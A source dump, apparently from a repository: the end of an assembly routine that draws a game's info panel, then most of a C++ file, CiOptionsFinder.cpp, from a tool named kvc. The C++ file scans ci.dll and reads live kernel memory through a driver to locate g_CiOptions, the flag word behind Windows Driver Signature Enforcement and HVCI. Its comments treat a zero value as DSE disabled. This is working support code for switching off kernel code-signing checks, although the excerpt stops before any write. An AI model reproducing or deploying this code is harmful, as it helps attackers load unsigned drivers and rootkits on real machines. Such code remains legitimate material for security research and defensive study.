    call CreatePen
    mov rbx, rax

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, rax
    call SelectObject
    mov [rsp+1D8h], rax

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X - 5
    mov r8d, INFO_Y + 305
    xor r9, r9
    call MoveToEx

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X + 165
    mov r8d, INFO_Y + 305
    call LineTo

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+1D8h]
    call SelectObject

    mov rcx, rbx
    call DeleteObject

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsi].RENDERER_STATE.hFontSmall
    call SelectObject
    mov [rsp+1F0h], rax

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 00A0A0A0h
    call SetTextColor

    lea rcx, szAuthor
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 315
    lea r9, szAuthor
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, szName
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 335
    lea r9, szName
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, szEmail
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 355
    lea r9, szEmail
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    lea rcx, szWebsite
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 375
    lea r9, szWebsite
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+1F0h]
    call SelectObject

    mov al, [rdi].GAME_STATE.paused
    test al, al
    jz @@check_gameover
    mov al, [rdi].GAME_STATE.gameOver
    test al, al
    jnz @@check_gameover

    mov eax, [rsi].RENDERER_STATE.pausePulse
    add eax, 4
    and eax, 0FFh
    mov [rsi].RENDERER_STATE.pausePulse, eax

    mov ebx, eax
    sub ebx, 128
    test ebx, ebx
    jns @@pos_pulse
    neg ebx
@@pos_pulse:
    mov eax, 128
    sub eax, ebx
    add eax, 127
    
    mov ebx, eax
    shl ebx, 8
    or eax, ebx

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, eax
    call SetTextColor

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsi].RENDERER_STATE.hFontPause
    call SelectObject
    mov [rsp+1F0h], rax

    lea rcx, szPaused
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X
    mov r8d, INFO_Y + 420
    lea r9, szPaused
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+1F0h]
    call SelectObject

@@check_gameover:
    mov al, [rdi].GAME_STATE.gameOver
    test al, al
    jz @@done_overlays

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, 000000FFh
    call SetTextColor

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsi].RENDERER_STATE.hFontGameOver
    call SelectObject
    mov [rsp+1F0h], rax

    lea rcx, szGameOver
    call lstrlenA
    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov edx, INFO_X - 20
    mov r8d, INFO_Y + 420
    lea r9, szGameOver
    mov DWORD PTR [rsp+20h], eax
    call TextOutA

    mov rcx, [rsi].RENDERER_STATE.hdcMem
    mov rdx, [rsp+1F0h]
    call SelectObject

@@done_overlays:
    mov rsi, [rsp+210h]
    mov rdi, [rsp+218h]
    mov rbx, [rsp+200h]

    mov rsp, rbp
    pop rbp
    ret
DrawInfo ENDP

END

<<<FILE: kvc/CiOptionsFinder.cpp>>>
Created:  2026-04-10 20:24:58
Modified: 2026-04-10 20:24:58
Size:     36.22 KB
// CiOptionsFinder.cpp
// Locates g_CiOptions in ci.dll using a two-stage strategy:
//   1. Semantic RIP-relative code probe - scans executable sections of the
//      on-disk ci.dll image for instructions that reference bytes inside the
//      first 0x40 bytes of the CiPolicy section.  Candidates are ranked by
//      instruction kind (test/bt/bts/cmp score higher than plain mov), flag
//      mask content, usage count, and proximity to the section start.
//   2. Build-number fallback - +0x4 pre-26H1, +0x8 from 26H1 onward.
//      Both candidates are checked with a value sanity filter; a WARNING log
//      is emitted so callers know the probe was not authoritative.

#include "CiOptionsFinder.h"
#include "common.h"
#include <shlwapi.h>
#include <algorithm>
#include <array>
#include <vector>

#pragma comment(lib, "shlwapi.lib")

// ============================================================================
// PRIVATE HELPERS (translation-unit scope)
// ============================================================================

namespace {

struct PeSectionView {
    std::array<char, 9> Name{};
    DWORD VirtualAddress = 0;
    DWORD VirtualSize    = 0;
    DWORD RawOffset      = 0;
    DWORD RawSize        = 0;
    DWORD Characteristics = 0;
};

struct RipReferenceHit {
    DWORD TargetRva = 0;
    int   Score     = 0;
    DWORD KindMask  = 0;
    DWORD InstrLen  = 0;  // total instruction length in bytes (filled by decoder)
    DWORD ImmValue  = 0;  // immediate operand: mask for test/cmp, bit index for bt/bts, 0 for mov
};

// Probe window inside CiPolicy where g_CiOptions is expected.
constexpr DWORD kCiPolicyProbeWindow    = 0x40;
constexpr DWORD kCiOptionsCandidateStep = sizeof(DWORD);

// Instruction kind bits used in scoring.
constexpr DWORD kRipKindMov = 0x0001;
constexpr DWORD kRipKindTest = 0x0002;
constexpr DWORD kRipKindBt   = 0x0004;
constexpr DWORD kRipKindBts  = 0x0008;
constexpr DWORD kRipKindCmp  = 0x0010;

// ------------------------------------------------------------------

bool LoadBinaryFile(const std::wstring& path, std::vector<BYTE>& outData) noexcept {
    FileGuard file(CreateFileW(path.c_str(), GENERIC_READ,
                               FILE_SHARE_READ | FILE_SHARE_WRITE,
                               nullptr, OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL, nullptr));
    if (!file) {
        return false;
    }

    LARGE_INTEGER fileSize{};
    if (!GetFileSizeEx(file.get(), &fileSize) ||
        fileSize.QuadPart <= 0 ||
        fileSize.QuadPart > 0x10000000) {
        return false;
    }

    outData.resize(static_cast<size_t>(fileSize.QuadPart));
    DWORD bytesRead = 0;
    if (!ReadFile(file.get(), outData.data(),
                  static_cast<DWORD>(outData.size()), &bytesRead, nullptr)) {
        return false;
    }

    return bytesRead == static_cast<DWORD>(outData.size());
}

bool ParsePeSections(const std::vector<BYTE>& image,
                     std::vector<PeSectionView>& sections) noexcept {
    if (image.size() < sizeof(IMAGE_DOS_HEADER)) {
        return false;
    }

    const auto* dos = reinterpret_cast<const IMAGE_DOS_HEADER*>(image.data());
    if (dos->e_magic != IMAGE_DOS_SIGNATURE || dos->e_lfanew <= 0) {
        return false;
    }

    const DWORD ntOffset = static_cast<DWORD>(dos->e_lfanew);
    if (ntOffset + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) > image.size()) {
        return false;
    }

    const BYTE* nt = image.data() + ntOffset;
    if (*reinterpret_cast<const DWORD*>(nt) != IMAGE_NT_SIGNATURE) {
        return false;
    }

    const auto* fileHeader = reinterpret_cast<const IMAGE_FILE_HEADER*>(
        nt + sizeof(DWORD));
    if (fileHeader->NumberOfSections == 0 ||
        fileHeader->NumberOfSections > 96) {
        return false;
    }

    const DWORD sectionOffset = ntOffset + sizeof(DWORD) +
                                sizeof(IMAGE_FILE_HEADER) +
                                fileHeader->SizeOfOptionalHeader;
    const size_t sectionBytes = static_cast<size_t>(fileHeader->NumberOfSections) *
                                sizeof(IMAGE_SECTION_HEADER);
    if (sectionOffset + sectionBytes > image.size()) {
        return false;
    }

    sections.clear();
    sections.reserve(fileHeader->NumberOfSections);

    for (WORD i = 0; i < fileHeader->NumberOfSections; ++i) {
        const auto* s = reinterpret_cast<const IMAGE_SECTION_HEADER*>(
            image.data() + sectionOffset + (i * sizeof(IMAGE_SECTION_HEADER)));

        PeSectionView view{};
        memcpy(view.Name.data(), s->Name, 8);
        view.Name[8]         = '\0';
        view.VirtualAddress  = s->VirtualAddress;
        view.VirtualSize     = s->Misc.VirtualSize;
        view.RawOffset       = s->PointerToRawData;
        view.RawSize         = s->SizeOfRawData;
        view.Characteristics = s->Characteristics;
        sections.push_back(view);
    }

    return true;
}

const PeSectionView* FindSectionByName(const std::vector<PeSectionView>& sections,
                                       const char* name) noexcept {
    for (const auto& s : sections) {
        if (strcmp(s.Name.data(), name) == 0) {
            return &s;
        }
    }
    return nullptr;
}

bool IsExecutableSection(const PeSectionView& s) noexcept {
    return (s.Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 &&
           s.RawOffset != 0 &&
           s.RawSize   != 0;
}

// Win10 kernel drivers mark PAGE/INIT as IMAGE_SCN_CNT_CODE but often omit
// IMAGE_SCN_MEM_EXECUTE in the PE headers (execute permission granted at load
// time by the memory manager).  Use this broader check when scanning for
// RIP-relative references so we do not miss the PAGE section.
bool IsCodeSection(const PeSectionView& s) noexcept {
    return ((s.Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0 ||
            (s.Characteristics & IMAGE_SCN_CNT_CODE)    != 0) &&
           s.RawOffset != 0 &&
           s.RawSize   != 0;
}

DWORD GetSectionSpan(const std::vector<BYTE>& image,
                     const PeSectionView& s) noexcept {
    if (s.RawOffset >= image.size()) {
        return 0;
    }
    const size_t available = image.size() - s.RawOffset;
    return static_cast<DWORD>(std::min<size_t>(s.RawSize, available));
}

DWORD ComputeRipTargetRva(DWORD instrRva,
                           DWORD instrLen,
                           LONG displacement) noexcept {
    return static_cast<DWORD>(
        static_cast<LONGLONG>(instrRva) + instrLen + displacement);
}

int CountBits(DWORD value) noexcept {
    int n = 0;
    while (value != 0) {
        n += (value & 1U) ? 1 : 0;
        value >>= 1;
    }
    return n;
}

// Extra score for immediate masks that look like known CiOptions flag patterns.
int ScoreFlagMask(DWORD mask) noexcept {
    int score = 0;
    if ((mask & 0x00000006U) != 0) { score += 6; } // DSE bits
    if ((mask & 0x0001C000U) != 0) { score += 6; } // HVCI bits
    if ((mask & 0x00200000U) != 0) { score += 4; } // additional CI flag
    if ((mask & 0x00004000U) != 0 ||
        (mask & 0x00008000U) != 0) { score += 2; }
    return score;
}

// Light hint from the live kernel value at a candidate address.
// Zero is a valid CiOptions value (DSE disabled), so only penalise clearly
// wrong values (high bits set, negative-looking DWORDs).
int ScoreCurrentValueHint(DWORD value) noexcept {
    int score = 0;
    if ((value & 0xFF000000U) == 0) { score += 6; }
    if ((value & 0x0000FFFFU) != 0) { score += 2; }
    if ((value & 0x00000006U) != 0) { score += 8; } // DSE active
    if ((value & 0x0001C000U) != 0) { score += 6; } // HVCI active
    if ((value & 0x00200000U) != 0) { score += 4; }
    if (value == 0)                 { score += 2; } // DSE disabled, still valid
    if ((value & 0x80000000U) != 0) { score -= 8; } // sign bit - not a flags field
    return score;
}

// Attempt to decode one RIP-relative instruction at code[0..available-1].
// Recognised encodings:
//   REX.* 8B /5  -> mov r32, [rip+disp32]
//   8B /5        -> mov r32, [rip+disp32]   (no REX)
//   F7 /5 imm32  -> test [rip+disp32], imm32
//   0F BA /4 ib  -> bt  [rip+disp32], imm8
//   0F BA /5 ib  -> bts [rip+disp32], imm8
//   81 /7 imm32  -> cmp [rip+disp32], imm32
bool DecodeRipRelativeReference(const BYTE* code,
                                size_t available,
                                DWORD instrRva,
                                RipReferenceHit& outHit) noexcept {
    // REX + MOV r32, [RIP+disp32]  (7 bytes)
    if (available >= 7 &&
        (code[0] & 0xF0) == 0x40 &&
        code[1] == 0x8B &&
        (code[2] & 0xC7) == 0x05) {
        const LONG disp  = *reinterpret_cast<const LONG*>(code + 3);
        outHit.TargetRva = ComputeRipTargetRva(instrRva, 7, disp);
        outHit.Score     = 12;
        outHit.KindMask  = kRipKindMov;
        outHit.InstrLen  = 7;
        outHit.ImmValue  = 0;
        return true;
    }

    // MOV r32, [RIP+disp32]  (6 bytes, no REX)
    if (available >= 6 &&
        code[0] == 0x8B &&
        (code[1] & 0xC7) == 0x05) {
        const LONG disp  = *reinterpret_cast<const LONG*>(code + 2);
        outHit.TargetRva = ComputeRipTargetRva(instrRva, 6, disp);
        outHit.Score     = 12;
        outHit.KindMask  = kRipKindMov;
        outHit.InstrLen  = 6;
        outHit.ImmValue  = 0;
        return true;
    }

    // TEST [RIP+disp32], imm32  (10 bytes)
    if (available >= 10 &&
        code[0] == 0xF7 &&
        code[1] == 0x05) {
        const LONG  disp = *reinterpret_cast<const LONG*>(code + 2);
        const DWORD mask = *reinterpret_cast<const DWORD*>(code + 6);
        outHit.TargetRva = ComputeRipTargetRva(instrRva, 10, disp);
        outHit.Score     = 18 + ScoreFlagMask(mask);
        outHit.KindMask  = kRipKindTest;
        outHit.InstrLen  = 10;
        outHit.ImmValue  = mask;
        return true;
    }

    // BT / BTS [RIP+disp32], imm8  (8 bytes)
    if (available >= 8 &&
        code[0] == 0x0F &&
        code[1] == 0xBA &&
        (code[2] == 0x25 || code[2] == 0x2D)) {
        const LONG disp  = *reinterpret_cast<const LONG*>(code + 3);
        outHit.TargetRva = ComputeRipTargetRva(instrRva, 8, disp);
        outHit.Score     = 16;
        outHit.KindMask  = (code[2] == 0x25) ? kRipKindBt : kRipKindBts;
        outHit.InstrLen  = 8;
        outHit.ImmValue  = code[7]; // imm8 bit index
        return true;
    }

    // CMP [RIP+disp32], imm32  (10 bytes)
    if (available >= 10 &&
        code[0] == 0x81 &&
        code[1] == 0x3D) {
        const LONG  disp = *reinterpret_cast<const LONG*>(code + 2);
        const DWORD mask = *reinterpret_cast<const DWORD*>(code + 6);
        outHit.TargetRva = ComputeRipTargetRva(instrRva, 10, disp);
        outHit.Score     = 10 + ScoreFlagMask(mask);
        outHit.KindMask  = kRipKindCmp;
        outHit.InstrLen  = 10;
        outHit.ImmValue  = mask;
        return true;
    }

    // TEST [RIP+disp32], r32  (6 bytes, no REX)
    // Opcode: 85 (ModRM & 0xC7 == 0x05) disp32
    // Win10 ci.dll uses register-loaded masks (e.g. mov ebx,4000h / test [rip+x],ebx).
    // ImmValue=0 because the mask is in a register - scored conservatively.
    if (available >= 6 &&
        code[0] == 0x85 &&
        (code[1] & 0xC7) == 0x05) {
        const LONG disp  = *reinterpret_cast<const LONG*>(code + 2);
        outHit.TargetRva = ComputeRipTargetRva(instrRva, 6, disp);
        outHit.Score     = 15;
        outHit.KindMask  = kRipKindTest;
        outHit.InstrLen  = 6;
        outHit.ImmValue  = 0;
        return true;
    }

    // REX + TEST [RIP+disp32], r64/r32  (7 bytes)
    // Opcode: [REX] 85 (ModRM & 0xC7 == 0x05) disp32
    if (available >= 7 &&
        (code[0] & 0xF0) == 0x40 &&
        code[1] == 0x85 &&
        (code[2] & 0xC7) == 0x05) {
        const LONG disp  = *reinterpret_cast<const LONG*>(code + 3);
        outHit.TargetRva = ComputeRipTargetRva(instrRva, 7, disp);
        outHit.Score     = 15;
        outHit.KindMask  = kRipKindTest;
        outHit.InstrLen  = 7;
        outHit.ImmValue  = 0;
        return true;
    }

    return false;
}

// After a mov reg32, [rip+disp32], inspect the next few instructions for
// the immediate mask used in a test/and on that register.  Returns the full
// 32-bit mask so the caller can extract both low-bit evidence (bits 0-4) and
// high-bit family evidence (0x4000/0x8000/0x200000/0x800000) from one call.
// Returns 0 if no recognisable test pattern is found within the window.
DWORD LookAheadTestMask(const BYTE* code, size_t avail) noexcept {
    for (size_t i = 0; i < avail && i < 32; ) {
        // test al, imm8  (A8 ib) - 8-bit register, mask fits in byte
        if (code[i] == 0xA8 && i + 1 < avail) {
            return code[i + 1];
        }
        // test r8, imm8  (F6 /0 ib)  ModRM = 11 000 reg
        if (code[i] == 0xF6 && i + 2 < avail &&
            (code[i + 1] & 0xF8) == 0xC0) {
            return code[i + 2];
        }
        // test r32, imm32  (F7 /0 id) - return full mask, no 0x1F cap
        if (code[i] == 0xF7 && i + 5 < avail &&
            (code[i + 1] & 0xF8) == 0xC0) {
            return *reinterpret_cast<const DWORD*>(code + i + 2);
        }
        // and r32, imm8 sign-extended  (83 /4 ib)
        if (code[i] == 0x83 && i + 2 < avail &&
            (code[i + 1] & 0xF8) == 0xE0) {
            return code[i + 2];
        }
        // shr r32, imm8 - advance past it, test may follow
        if (code[i] == 0xC1 && i + 2 < avail &&
            (code[i + 1] & 0xF8) == 0xE8) {
            i += 3;
            continue;
        }
        i++;
    }
    return 0;
}

} // namespace

// ============================================================================
// CONSTRUCTION
// ============================================================================

CiOptionsFinder::CiOptionsFinder(std::unique_ptr<kvc>& driver) noexcept
    : m_driver(driver)
{
}

// ============================================================================
// PUBLIC ENTRY POINT
// ============================================================================

ULONG_PTR CiOptionsFinder::FindCiOptions(ULONG_PTR ciBase) noexcept {
    DEBUG(L"CiOptionsFinder: searching g_CiOptions in ci.dll at base 0x%llX", ciBase);

    const auto ciPath = GetCiDllPath();
    if (!ciPath) {
        return 0;
    }

    // Live kernel PE walk - check whether ci.dll exposes a CiPolicy section.
    const auto ciPolicy = GetCiPolicySection(ciBase);

    ULONG_PTR ciOptionsAddr = 0;

    if (ciPolicy) {
        // --- Win11 path: CiPolicy section present ---
        const ULONG_PTR ciPolicyStart = ciPolicy->first;
        const SIZE_T    ciPolicySize  = ciPolicy->second;
        DEBUG(L"CiPolicy live: 0x%llX  size: 0x%llX", ciPolicyStart, ciPolicySize);

        // Stage 1: semantic RIP-relative probe
        if (auto semanticOffset =
                FindCiOptionsOffsetFromCiPolicy(*ciPath, ciPolicyStart, ciPolicySize)) {
            ciOptionsAddr = ciPolicyStart + *semanticOffset;
            SUCCESS(L"g_CiOptions via CiPolicy probe: 0x%llX  (+0x%X)",
                    ciOptionsAddr, *semanticOffset);
        } else {
            // Stage 2: build-aware fallback (+0x4 or +0x8)
            INFO(L"WARNING: CiPolicy probe inconclusive, using build-aware fallback");

            auto fallbackOffset = GetCiOptionsBuildFallbackOffset();
            if (!fallbackOffset) {
                ERROR(L"Failed to determine build-aware fallback offset");
                return 0;
            }

            const std::array<DWORD, 2> fallbackCandidates = {
                *fallbackOffset,
                (*fallbackOffset == 0x8) ? 0x4U : 0x8U
            };

            for (DWORD candidateOffset : fallbackCandidates) {
                if (candidateOffset >= static_cast<DWORD>(ciPolicySize)) {
                    continue;
                }

                const ULONG_PTR candidateAddr = ciPolicyStart + candidateOffset;
                auto candidateValue = m_driver->Read32(candidateAddr);
                if (!candidateValue) {
                    continue;
                }

                if (ScoreCurrentValueHint(*candidateValue) < 0) {
                    continue;
                }

                ciOptionsAddr = candidateAddr;
                INFO(L"Fallback candidate +0x%X  value: 0x%08X",
                     candidateOffset, *candidateValue);
                break;
            }
        }

        if (!ciOptionsAddr) {
            ERROR(L"Failed to locate g_CiOptions in CiPolicy");
            return 0;
        }
    } else {
        // --- Win10 path: no CiPolicy - scan .data by high/low-bit family scoring ---
        INFO(L"CiPolicy section absent - trying Win10 .data semantic probe");

        auto addr = FindCiOptionsInDataSection(*ciPath, ciBase);
        if (!addr) {
            ERROR(L"g_CiOptions not found (no CiPolicy, .data probe failed)");
            return 0;
        }
        ciOptionsAddr = *addr;
    }

    auto currentValue = m_driver->Read32(ciOptionsAddr);
    if (!currentValue) {
        ERROR(L"Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
        return 0;
    }

    DEBUG(L"g_CiOptions: 0x%llX  value: 0x%08X", ciOptionsAddr, currentValue.value());
    return ciOptionsAddr;
}

// ============================================================================
// PRIVATE HELPERS
// ============================================================================

std::optional<std::wstring> CiOptionsFinder::GetCiDllPath() noexcept {
    wchar_t systemPath[MAX_PATH] = {};
    if (GetSystemDirectoryW(systemPath, MAX_PATH) == 0) {
        ERROR(L"Failed to get system directory for ci.dll");
        return std::nullopt;
    }

    std::wstring ciPath = std::wstring(systemPath) + L"\\ci.dll";
    if (!PathFileExistsW(ciPath.c_str())) {
        ERROR(L"ci.dll not found on disk: %s", ciPath.c_str());
        return std::nullopt;
    }

    return ciPath;
}

// Walk the live kernel image (via driver reads) to find the CiPolicy PE section.
std::optional<std::pair<ULONG_PTR, SIZE_T>>
CiOptionsFinder::GetCiPolicySection(ULONG_PTR moduleBase) noexcept {
    auto dosHeader = m_driver->Read16(moduleBase);
    if (!dosHeader || dosHeader.value() != 0x5A4D) {
        return std::nullopt;
    }

    auto e_lfanew = m_driver->Read32(moduleBase + 0x3C);
    if (!e_lfanew || e_lfanew.value() > 0x1000) {
        return std::nullopt;
    }

    ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();

    auto peSignature = m_driver->Read32(ntHeaders);
    if (!peSignature || peSignature.value() != 0x4550) {
        return std::nullopt;
    }

    auto numSections = m_driver->Read16(ntHeaders + 0x6);
    if (!numSections || numSections.value() > 50) {
        return std::nullopt;
    }

    auto sizeOfOptionalHeader = m_driver->Read16(ntHeaders + 0x14);
    if (!sizeOfOptionalHeader) {
        return std::nullopt;
    }

    ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();

    DEBUG(L"Scanning %d sections for live CiPolicy...", numSections.value());

    for (WORD i = 0; i < numSections.value(); i++) {
        ULONG_PTR sectionHeader = firstSection + (i * 40);

        char name[9] = {0};
        for (int j = 0; j < 8; j++) {
            auto ch = m_driver->Read8(sectionHeader + j);
            if (ch) {
                name[j] = static_cast<char>(ch.value());
            }
        }

        if (strcmp(name, "CiPolicy") == 0) {
            auto virtualSize = m_driver->Read32(sectionHeader + 0x08);
            auto virtualAddr = m_driver->Read32(sectionHeader + 0x0C);

            if (virtualSize && virtualAddr) {
                DEBUG(L"Found CiPolicy at RVA 0x%06X  size 0x%06X",
                      virtualAddr.value(), virtualSize.value());
                return std::make_pair(
                    moduleBase + virtualAddr.value(),
                    static_cast<SIZE_T>(virtualSize.value()));
            }
        }
    }

    DEBUG(L"CiPolicy section not found in ci.dll");
    return std::nullopt;
}

// Scan all executable sections of the on-disk ci.dll for RIP-relative
// references that land within the first kCiPolicyProbeWindow bytes of
// the CiPolicy section.  Score and rank candidates, return the winner
// offset relative to CiPolicy start, or nullopt if inconclusive.
std::optional<DWORD> CiOptionsFinder::FindCiOptionsOffsetFromCiPolicy(
    const std::wstring& ciPath,
    ULONG_PTR ciPolicyStart,
    SIZE_T    ciPolicySize) noexcept {

    struct CandidateScore {
        DWORD Offset     = 0;
        LONG  Score      = 0;
        DWORD Hits       = 0;
        DWORD StrongHits = 0;
        DWORD KindMask   = 0;
    };

    std::vector<BYTE> image;
    if (!LoadBinaryFile(ciPath, image)) {
        ERROR(L"Failed to read ci.dll from disk for CiPolicy probe");
        return std::nullopt;
    }

    std::vector<PeSectionView> sections;
    if (!ParsePeSections(image, sections)) {
        ERROR(L"Failed to parse ci.dll PE headers for CiPolicy probe");
        return std::nullopt;
    }

    const PeSectionView* ciPolicy = FindSectionByName(sections, "CiPolicy");
    if (!ciPolicy) {
        INFO(L"CiPolicy section not present in ci.dll - semantic probe skipped");
        return std::nullopt;
    }

    const DWORD sectionSize =
        ciPolicy->VirtualSize != 0 ? ciPolicy->VirtualSize : ciPolicy->RawSize;
    DWORD probeWindow =
        static_cast<DWORD>(std::min<SIZE_T>(ciPolicySize, sectionSize));
    probeWindow = std::min<DWORD>(probeWindow, kCiPolicyProbeWindow);
    probeWindow -= (probeWindow % kCiOptionsCandidateStep);

    if (probeWindow < kCiOptionsCandidateStep) {
        INFO(L"CiPolicy section too small for semantic probe");
        return std::nullopt;
    }

    const DWORD numCandidates = probeWindow / kCiOptionsCandidateStep;
    std::vector<CandidateScore> candidates(numCandidates);

    for (DWORD i = 0; i < numCandidates; ++i) {
        auto& c = candidates[i];
        c.Offset = i * kCiOptionsCandidateStep;

        // Seed score with live value hint (read from kernel).
        auto liveValue = m_driver->Read32(ciPolicyStart + c.Offset);
        if (liveValue) {
            c.Score += ScoreCurrentValueHint(*liveValue);
        }

        // Bias towards lower offsets - g_CiOptions historically near start.
        const LONG proximityBias =
            std::max<LONG>(0, 6 - static_cast<LONG>(i));
        c.Score += proximityBias;
    }

    const DWORD ciPolicyRva    = ciPolicy->VirtualAddress;
    const DWORD ciPolicyEndRva = ciPolicyRva + probeWindow;

    for (const auto& section : sections) {
        if (!IsExecutableSection(section)) {
            continue;
        }

        const DWORD span = GetSectionSpan(image, section);
        if (span == 0) {
            continue;
        }

        const BYTE* code = image.data() + section.RawOffset;

        for (DWORD i = 0; i < span; ++i) {
            RipReferenceHit hit{};
            if (!DecodeRipRelativeReference(code + i, span - i,
                                            section.VirtualAddress + i, hit)) {
                continue;
            }

            if (hit.TargetRva < ciPolicyRva || hit.TargetRva >= ciPolicyEndRva) {
                continue;
            }

            const DWORD candidateOffset = hit.TargetRva - ciPolicyRva;
            if ((candidateOffset % kCiOptionsCandidateStep) != 0) {
                continue;
            }

            auto& c = candidates[candidateOffset / kCiOptionsCandidateStep];
            c.Score    += hit.Score;
            c.Hits     += 1;
            c.KindMask |= hit.KindMask;

            if (hit.Score >= 16) {
                c.StrongHits += 1;
            }
            if ((hit.KindMask &
                 (kRipKindTest | kRipKindBt | kRipKindBts | kRipKindCmp)) != 0) {
                c.Score += 2;
            }
        }
    }

    LONG bestScore   = -0x7FFFFFFF;
    LONG secondScore = -0x7FFFFFFF;
    const CandidateScore* best = nullptr;

    for (auto& c : candidates) {
        c.Score += static_cast<LONG>(CountBits(c.KindMask) * 6);
        c.Score += std::min<LONG>(static_cast<LONG>(c.Hits) * 3, 15);
        if (c.StrongHits >= 2) {
            c.Score += 10;
        }

        if (c.Score > bestScore) {
            secondScore = bestScore;
            bestScore   = c.Score;
            best        = &c;
        } else if (c.Score > secondScore) {
            secondScore = c.Score;
        }
    }

    if (!best) {
        return std::nullopt;
    }

    const bool hasFlagsLikeUse =
        (best->KindMask & (kRipKindTest | kRipKindBt | kRipKindBts | kRipKindCmp)) != 0;
    const bool clearWinner = (bestScore - secondScore) >= 8;
    const bool denseUsage  = best->Hits >= 3 && best->StrongHits >= 1;

    if (bestScore < 32 || !hasFlagsLikeUse || (!clearWinner && !denseUsage)) {
        INFO(L"CiPolicy probe inconclusive (best score=%ld, hits=%lu)",
             bestScore, best->Hits);
        return std::nullopt;
    }

    INFO(L"CiPolicy probe: g_CiOptions at +0x%X  (score=%ld, hits=%lu)",
         best->Offset, bestScore, best->Hits);
    return best->Offset;
}

// Win10 path: no CiPolicy section.
// Scan all executable sections of the on-disk ci.dll for RIP-relative references
// into .data, then rank candidates using a two-family scoring scheme:
//   High-bit family: direct test/cmp with masks 0x4000/0x8000/0x200000/0x800000
//   Low-bit family:  mov -> lookahead for test of bits 1/2/4/8/0x10
//                    or bt/bts operations
// False-positives (g_CiPolicyState, g_CiDeveloperMode) are filtered out by
// requiring BOTH a high-bit hit AND low-bit evidence, plus a 25% score margin.
// Runtime Read32 is applied only to the top-3 candidates as a tie-breaker.
std::optional<ULONG_PTR> CiOptionsFinder::FindCiOptionsInDataSection(
    const std::wstring& ciPath,
    ULONG_PTR ciBase) noexcept {

    struct Win10Candidate {
        DWORD    Rva              = 0;
        LONG     Score            = 0;
        DWORD    TotalHits        = 0;
        DWORD    DirectHighMasks  = 0; // bit0=0x4000/0x8000, bit1=0x200000/0x800000
        DWORD    LowBitEvidence   = 0; // OR of low bits from lookahead (bits 0..4)
        DWORD    BitOpsCount      = 0; // bt/bts hits
        DWORD    KindMask         = 0;
        DWORD    LastRefRva       = 0; // for distinct-function approximation
        DWORD    DistinctFuncApx  = 1; // at least 1
    };

    std::vector<BYTE> image;
    if (!LoadBinaryFile(ciPath, image)) {
        ERROR(L"Win10 .data probe: failed to read ci.dll from disk");
        return std::nullopt;
    }

    std::vector<PeSectionView> sections;
    if (!ParsePeSections(image, sections)) {
        ERROR(L"Win10 .data probe: failed to parse PE headers");
        return std::nullopt;
    }

    const PeSectionView* dataSec = FindSectionByName(sections, ".data");
    if (!dataSec || dataSec->RawOffset == 0) {
        INFO(L"Win10 .data probe: no .data section in ci.dll");
        return std::nullopt;
    }

    const DWORD dataRva    = dataSec->VirtualAddress;
    const DWORD dataSize   = dataSec->VirtualSize != 0 ? dataSec->VirtualSize
                                                        : dataSec->RawSize;
    const DWORD dataEndRva = dataRva + dataSize;

    if (dataSize < sizeof(DWORD)) {
        INFO(L"Win10 .data probe: .data section too small");
        return std::nullopt;
    }

    const DWORD numCandidates = dataSize / sizeof(DWORD);
    std::vector<Win10Candidate> candidates(numCandidates);
    for (DWORD i = 0; i < numCandidates; ++i) {
        candidates[i].Rva = dataRva + i * sizeof(DWORD);
    }

    // Scan all code sections: .text, PAGE, INIT (if present).
    // Use IsCodeSection (not IsExecutableSection) because Win10 kernel drivers
    // mark PAGE/INIT as IMAGE_SCN_CNT_CODE but omit IMAGE_SCN_MEM_EXECUTE.
    for (const auto& section : sections) {
        if (!IsCodeSection(section)) {
            continue;
        }

        const DWORD span = GetSectionSpan(image, section);
        if (span == 0) {
            continue;
        }

        const BYTE* code = image.data() + section.RawOffset;

        for (DWORD i = 0; i < span; ++i) {
            // Win10 ci.dll uses 0x2E (CS segment override) prefix on many
            // RIP-relative accesses - skip it transparently.
            DWORD prefixLen = 0;
            if (code[i] == 0x2E && (i + 1) < span) {
                prefixLen = 1;
            }

            if (i + prefixLen >= span) {
                continue;
            }

            const BYTE*  insn    = code + i + prefixLen;
            const size_t avail   = span - i - prefixLen;
            const DWORD  instrRva = section.VirtualAddress + i + prefixLen;

            RipReferenceHit hit{};
            if (!DecodeRipRelativeReference(insn, avail, instrRva, hit)) {
                continue;
            }

            // Only care about references landing in .data, 4-byte aligned.
            if (hit.TargetRva < dataRva || hit.TargetRva >= dataEndRva) {
                continue;
